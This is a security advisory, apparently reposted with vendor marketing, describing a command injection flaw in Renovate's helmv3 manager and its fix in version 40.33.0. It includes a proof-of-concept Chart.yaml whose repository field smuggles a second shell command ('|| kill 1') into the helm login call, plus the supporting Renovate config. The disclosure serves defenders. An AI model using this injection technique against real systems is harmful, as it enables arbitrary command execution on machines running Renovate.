GHSA-3f44-xw83-3pmg
MEDIUMRenovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
renovatenpmDescription
Summary
The user-provided string repository in the helmv3 manager is appended to the helm registry login command without proper sanitization.
Details
Adversaries can provide a maliciously crafted Chart.yaml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
The value for both uses of the repository variable in lib/modules/manager/helmv3/common.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
},
},
// Register any credentials to make the manager attempt to use basic auth for the Helm registry
hostRules: [
{
matchHost: "charts.bitnami.com",
username: "un",
password: "pw",
},
],
packageRules: [
{
// Target of the day
matchManagers: ["helmv3"],
// Don't consult the actual bitnami repo
registryUrls: [],
// But still, trick the manager in believing there's a new version
overrideDatasource: "custom.always",
},
],
}
Chart.yaml:
apiVersion: v2
name: renovate-aci-1
version: 0.0.1
dependencies:
- name: redis
version: 0.1.0
repository: oci://charts.bitnami.com/bitnami || kill 1
Chart.lock:
dependencies:
- name: redis
repository: oci://charts.bitnami.com/bitnami
- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept was made a lot simpler with the introduction of the
overrideDatasourceconfiguration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | renovate | ≥ 31.51.0&&< 40.33.0 | 40.33.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update renovate to 40.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3f44-xw83-3pmg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3f44-xw83-3pmg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3f44-xw83-3pmg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3f44-xw83-3pmg in your dependencies?
O3 detects GHSA-3f44-xw83-3pmg across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.